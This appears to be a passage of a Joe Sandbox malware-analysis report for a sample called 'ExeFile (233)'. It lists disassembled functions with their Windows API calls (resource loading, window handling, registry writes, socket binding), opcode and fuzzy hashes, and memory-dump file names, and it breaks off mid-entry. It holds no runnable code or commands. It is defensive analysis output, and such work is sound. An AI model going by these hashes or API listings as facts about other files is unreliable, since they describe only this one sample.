Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CreateH_prologIndirectRect
String ID:
API String ID: 2123978231-0
Opcode ID: 4b0f4901dd638a671841a374c8397060b8bf8be129b0859f566eeb39be9f4921
Instruction ID: 7afd8c56d7a45c3c1b9d016defab70745a838345b1ecd9677a25a07ef7e179f5
Opcode Fuzzy Hash: 4b0f4901dd638a671841a374c8397060b8bf8be129b0859f566eeb39be9f4921
Instruction Fuzzy Hash: BF215C71A00129DBCB11DFA4D98499EB7B8EF08714F5081A6E901BB295C7789E06CBB5

Function 0040A5FC Relevance: 6.1, APIs: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32 ref: 0040A61B
CoTaskMemFree.OLE32(?), ref: 0040A697

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ArrayDestroyFreeSafeTask
String ID:
API String ID: 3253174383-0
Opcode ID: bb55eb5cadc817f2e48f085d3486655d5a4389d2a61a639251d8b891ef80dd51
Instruction ID: a1dea07ca2ec4367596b7633afa73df90ca84adeb2077ed1b3f452afad63676a
Opcode Fuzzy Hash: bb55eb5cadc817f2e48f085d3486655d5a4389d2a61a639251d8b891ef80dd51
Instruction Fuzzy Hash: 05115E30600305DBDB259F65D848B6677B8AF00741F1D0A3AE8C5AA2E0DB3ADD21CA5E

Function 0040957A Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040957F
GetRgnBox.GDI32(?,?), ref: 004095C0
IntersectRect.USER32(?,?,?), ref: 004095D5
EqualRect.USER32(?,?), ref: 004095E3

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Rect$EqualH_prologIntersect
String ID:
API String ID: 2227276553-0
Opcode ID: cfe4538af5ce4241f94f36a5d2e894a6c0f0bd8464d49d8081b223b50ccd3408
Instruction ID: 913515354d6a92e134cf8808074a3165ff7f6a37c3e08295266c1903fc249c36
Opcode Fuzzy Hash: cfe4538af5ce4241f94f36a5d2e894a6c0f0bd8464d49d8081b223b50ccd3408
Instruction Fuzzy Hash: 2C212C72A00219EFDB11EF95D984DDEBBB8FF08354B10456AF951A3250D7389E058B64

Function 0042028C Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 004202B2
LoadResource.KERNEL32(?,00000000), ref: 004202BA
LockResource.KERNEL32(00000000), ref: 004202CC
FreeResource.KERNEL32(00000000), ref: 00420316

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 0b83120d772461038e2049ec577641a88b61bf73e8f1d9011b83d9a047eaa24e
Instruction ID: 656d2c210f5b5afbe86cf1a99f8a29c5f19edac70fe617a666d0c49f05aa73d5
Opcode Fuzzy Hash: 0b83120d772461038e2049ec577641a88b61bf73e8f1d9011b83d9a047eaa24e
Instruction Fuzzy Hash: 67119D3A601721EFCB24DFA5E948AA7B7B8FB04754F80446AE80253752E778AC05CB74

Function 00423181 Relevance: 6.1, APIs: 4, Instructions: 52windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 004231AB
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 004231CD
GetCapture.USER32 ref: 004231DF
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 004231EE

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: MessageSend$Capture
String ID:
API String ID: 1665607226-0
Opcode ID: 7db1d9e71e75495c4d9147a9e900ecf5cbacbe0365e999608e3c3560ea6febca
Instruction ID: f54eaa0953af14796ca2798ad8be5b391c5598d7a46c12b9b30925c7b8ab6a99
Opcode Fuzzy Hash: 7db1d9e71e75495c4d9147a9e900ecf5cbacbe0365e999608e3c3560ea6febca
Instruction Fuzzy Hash: 1E016D713403197FFA302B15ACC9FBB76ADDF88789F910439F241AB2D2CA959C059A64

Function 004249C5 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 004249F9
GetCurrentProcess.KERNEL32(?,00000000), ref: 004249FF
DuplicateHandle.KERNEL32(00000000), ref: 00424A02
GetLastError.KERNEL32(?), ref: 00424A1D

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CurrentProcess$DuplicateErrorHandleLast
String ID:
API String ID: 3907606552-0
Opcode ID: e60f49e3c131c40013d4e8fd54a17e3d401a2657e5a6576110243408ecd1152f
Instruction ID: 8ac3f6cd50cf8df22ad13eb24bf5b481f7bec5be52e842199ecbcbeb8f3ca53e
Opcode Fuzzy Hash: e60f49e3c131c40013d4e8fd54a17e3d401a2657e5a6576110243408ecd1152f
Instruction Fuzzy Hash: 1C012471700210BBDB20AFB6EC49F1B7BADEF84360F608026F915CB281DA74DC018764

Function 0042C03B Relevance: 6.0, APIs: 4, Instructions: 49networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32(00000000), ref: 0042C075
htons.WS2_32(?), ref: 0042C081

Part of subcall function 0040422C: bind.WS2_32(?,00000002,00000002), ref: 00404237

inet_addr.WS2_32(?), ref: 0042C0B3
WSASetLastError.WS2_32(00002726), ref: 0042C0C3

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ErrorLastbindhtonlhtonsinet_addr
String ID:
API String ID: 3045141626-0
Opcode ID: fdd929dac27bfb8b269abb1e6dbd06ae9421f0aed8c90508c6ae5c3d1d7e3271
Instruction ID: bb8df0c29fff26a21c7ebcb5d6223e386f4c65aafe457ce3011b1e801e2c3432
Opcode Fuzzy Hash: fdd929dac27bfb8b269abb1e6dbd06ae9421f0aed8c90508c6ae5c3d1d7e3271
Instruction Fuzzy Hash: D2018831A00118ABCB10EBE5E84599FBBB8AF44354F500526F505E7291DB785A45C7DA

Function 00422618 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 00422626
GetTopWindow.USER32(00000000), ref: 00422665
GetWindow.USER32(00000000,00000002), ref: 00422683

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 81da272bab6fcc9ea7e7a7430d34d7fcffd1c11d78819ae3fe2fecd1ce21925b
Instruction ID: cb0a53dda468c9b6b58841506fecf0a12188666d2209ed4bb47fc30449578cc2
Opcode Fuzzy Hash: 81da272bab6fcc9ea7e7a7430d34d7fcffd1c11d78819ae3fe2fecd1ce21925b
Instruction Fuzzy Hash: FA01043320152ABBCF125F91AE05E9F3B26AF54361F854116FE0061160D77AD932EBAE

Function 0042206C Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00422077
GetTopWindow.USER32(00000000), ref: 0042208A

Part of subcall function 0042206C: GetWindow.USER32(00000000,00000002), ref: 004220D1

GetTopWindow.USER32(?), ref: 004220BA

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: 6c6900eeac992edc6914a5118e1541f0b22b5380ff1e1b3e7d3a0b70f71fff3c
Instruction ID: 611b05ef37a8cdda27b70757f5ae3b19c9143c7451e53f26c9eb106d08c62b60
Opcode Fuzzy Hash: 6c6900eeac992edc6914a5118e1541f0b22b5380ff1e1b3e7d3a0b70f71fff3c
Instruction Fuzzy Hash: 26018432301539B7DB322F52AE04FAF36559F157A0F804026FF00A1220D7B9D951D69D

Function 004275D6 Relevance: 6.0, APIs: 4, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?), ref: 0042760A
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00427613
wsprintfA.USER32 ref: 0042762F
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 00427645

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ClosePrivateProfileStringValueWritewsprintf
String ID:
API String ID: 1902064621-0
Opcode ID: dbcabcc69f35e4ea2064bd688e25f9756b693440038725029bf2d78983c0515e
Instruction ID: 249eee3b46158d6d5fcb97f90f683b9770f48eaba065b46f6e1ac24a512eab86
Opcode Fuzzy Hash: dbcabcc69f35e4ea2064bd688e25f9756b693440038725029bf2d78983c0515e
Instruction Fuzzy Hash: 5B015E32600629FBCB21AFA5DD05E9F3BA9BF08714F404436FA01A6150DB75DA129B98

Function 0042A065 Relevance: 6.0, APIs: 4, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 0042A079
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,0042B1A4,00000000), ref: 0042A08F
SysAllocStringByteLen.OLEAUT32(00000000,00000000), ref: 0042A097
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,00000000,?,?,?,?,0042B1A4,00000000), ref: 0042A0AC

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Byte$CharMultiStringWide$Alloc
String ID:
API String ID: 3384502665-0
Opcode ID: 2f768fecabc726658f8f88acdcbfcc7f4af63c07174896c7a40ff147d03d0804
Instruction ID: dc896c3cb116076c9357b3b04fc63cbba15b70dbedf9f50e9427452b928ef166
Opcode Fuzzy Hash: 2f768fecabc726658f8f88acdcbfcc7f4af63c07174896c7a40ff147d03d0804
Instruction Fuzzy Hash: F1F05471207234BF93205B67DC48CEBBF9CEE8B2A4B014526F545C2110C6355801CBF6

Function 00409508 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

IntersectRect.USER32(?,00000000,?), ref: 00409539
EqualRect.USER32(?,00000000), ref: 00409546
IsRectEmpty.USER32(?), ref: 00409550
InvalidateRect.USER32(?,?,?), ref: 0040956D

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Rect$EmptyEqualIntersectInvalidate
String ID:
API String ID: 3354205298-0
Opcode ID: f9175667af0f7be801df8ef0be15282322e2dc242db8e47f337ba70243cfd374
Instruction ID: 5a9675a2ec0c149863344b7b821c378a1e07663030a84a8ac4983ad52a3ab610
Opcode Fuzzy Hash: f9175667af0f7be801df8ef0be15282322e2dc242db8e47f337ba70243cfd374
Instruction Fuzzy Hash: 60014C3290011AEBDF11DFA5DC48EAAB7BCFF09314F408462F914A7111D230A6068B64

Function 004239DB Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 004239FD
LoadResource.KERNEL32(?,00000000,?,?,?,?,00420245,?,?,00403D00,?,?,?,?,?,0042CC28), ref: 00423A09
LockResource.KERNEL32(00000000,?,?,?,?,00420245,?,?,00403D00,?,?,?,?,?,0042CC28,000000FF), ref: 00423A16
FreeResource.KERNEL32(00000000,?,?,?,?,00420245,?,?,00403D00,?,?,?,?,?,0042CC28,000000FF), ref: 00423A31

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: e10056d9a2660e3800f5a85b41266e3d05e9b35dc89b2b7957be5cf1a157bfe8
Instruction ID: f1e10e0b9d610b383d076a7a45ed5418143a48e9ec23dbbc25ebf98e0a5bfae2
Opcode Fuzzy Hash: e10056d9a2660e3800f5a85b41266e3d05e9b35dc89b2b7957be5cf1a157bfe8
Instruction Fuzzy Hash: E6F09036300225AB97219FA77C44D3BB6BCAF85762B85007EFE45D3211DE698D028679

Function 0041FC6D Relevance: 6.0, APIs: 4, Instructions: 41windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,?,?), ref: 0041FC98
GetFocus.USER32 ref: 0041FCAB
GetParent.USER32(?), ref: 0041FCB9
SendMessageA.USER32(?,00000028,00000000,00000000), ref: 0041FCCE

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: EnableFocusItemMenuMessageParentSend
String ID:
API String ID: 2297321873-0
Opcode ID: 5848d75683eeff144eec62b50be30f757bc95a58dccda503d274df78e6b91d20
Instruction ID: 667ea2b61b03b80e95b8bbf3fcb0286f57c03423c76812f661bbdfa9ca70b136
Opcode Fuzzy Hash: 5848d75683eeff144eec62b50be30f757bc95a58dccda503d274df78e6b91d20
Instruction Fuzzy Hash: 5501B130200605AFD7349F21DC09B5ABBB0FF50321F504A2EF502925F0D778B886EB88

Function 00424346 Relevance: 6.0, APIs: 4, Instructions: 40stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042434B
GetWindowTextA.USER32(?,?,?), ref: 00424363
lstrcpynA.KERNEL32(?,?,?), ref: 00424399
lstrlenA.KERNEL32(?), ref: 004243A2

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: H_prologTextWindowlstrcpynlstrlen
String ID:
API String ID: 3022380644-0
Opcode ID: 9588c763b94ff57c08a9a562fa99b45d125bae693aa3a85c8c8a5c58bf168152
Instruction ID: 038d39e764909cb72f487515755dd880c683e44097d606ce0493c2f887320532
Opcode Fuzzy Hash: 9588c763b94ff57c08a9a562fa99b45d125bae693aa3a85c8c8a5c58bf168152
Instruction Fuzzy Hash: 4B018C31600524EFCB14DFA4C808BAEBBB1FF48315F40CA6AF9129B261CB399950DF94

Function 0041A2EE Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

___addl.LIBCMT ref: 0041A2FD
___addl.LIBCMT ref: 0041A311
___addl.LIBCMT ref: 0041A329
___addl.LIBCMT ref: 0041A341

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ___addl
String ID:
API String ID: 2260456530-0
Opcode ID: 9462fbb24550e51235c69811f5d997a06ce5764b14ffee6f8e6d9ade5b511c72
Instruction ID: bebc27e0ad429c0126922934f5b1fa86729f384fc2e22584e0928f5d8e1cdaa7
Opcode Fuzzy Hash: 9462fbb24550e51235c69811f5d997a06ce5764b14ffee6f8e6d9ade5b511c72
Instruction Fuzzy Hash: 92F0CD3A401202AFCA105A02DC01EA3B7E9FF04354B0404ABFD5982235E732E8BCCB52

Function 004265BD Relevance: 6.0, APIs: 4, Instructions: 33stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 004265D2
GetWindowTextA.USER32(?,?,00000100), ref: 004265EE
lstrcmpA.KERNEL32(?,?), ref: 00426602
SetWindowTextA.USER32(?,?), ref: 00426612

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: TextWindow$lstrcmplstrlen
String ID:
API String ID: 330964273-0
Opcode ID: 205df15bef250dda04495d21c1cf24ecad239e14aeebe1b9e08572ee8303819d
Instruction ID: 32920149c2e13a73d1dc760514e2eeab2557267489b4b68b72185029daae6c0c
Opcode Fuzzy Hash: 205df15bef250dda04495d21c1cf24ecad239e14aeebe1b9e08572ee8303819d
Instruction Fuzzy Hash: 9FF0F975600118EBDF21AF65EC489CE7B69FB08350F4081A2F945E2260D7798A95DBA8

Function 0042068B Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

EnableWindow.USER32(00000000,00000001), ref: 0042069E
GetActiveWindow.USER32 ref: 004206A9
SetActiveWindow.USER32(00000000,?,?,?,?,?,?,?,?,00000064,00000000), ref: 004206B7
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000064,00000000), ref: 004206D3

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Window$Active$EnableFreeResource
String ID:
API String ID: 3751187028-0
Opcode ID: 252fd1aecebcf36ae1063793674cdf2c0fb2d0a1c58f11556f040e13d421e044
Instruction ID: 651b9e4e32d33f6c41131df07468a60757a46e08b7472d39c7ef1db3212f965c
Opcode Fuzzy Hash: 252fd1aecebcf36ae1063793674cdf2c0fb2d0a1c58f11556f040e13d421e044
Instruction Fuzzy Hash: 7DF08731B00325CFCF20EF90E8846AEB7F1FF48312F80053AE102B26A1C7396912CA19

Function 0042A3E2 Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0042A404
GetTickCount.KERNEL32 ref: 0042A411
CoFreeUnusedLibraries.OLE32 ref: 0042A420
GetTickCount.KERNEL32 ref: 0042A426

Part of subcall function 0042A38B: CoFreeUnusedLibraries.OLE32(00000000,0042A46B,00000000,?,?,00409F1F), ref: 0042A3CF
Part of subcall function 0042A38B: OleUninitialize.OLE32(?,?,00409F1F), ref: 0042A3D5

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CountTick$FreeLibrariesUnused$Uninitialize
String ID:
API String ID: 685759847-0
Opcode ID: a7b6454c06bf55826f1ca2544db4a5b5e913ae1ac901965ee86b94635a762fcd
Instruction ID: 53365efa4c1230ee432236039d3407cb682c0de065b522118cd881790a3b89b9
Opcode Fuzzy Hash: a7b6454c06bf55826f1ca2544db4a5b5e913ae1ac901965ee86b94635a762fcd
Instruction Fuzzy Hash: D0E06D31905261CBC710BBA4FC4C26A3BA0BB50308F409837E80193270C77868A5CF5B

Function 0040FC9F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMONLIBRARYCODE

Download Yara Rule

APIs

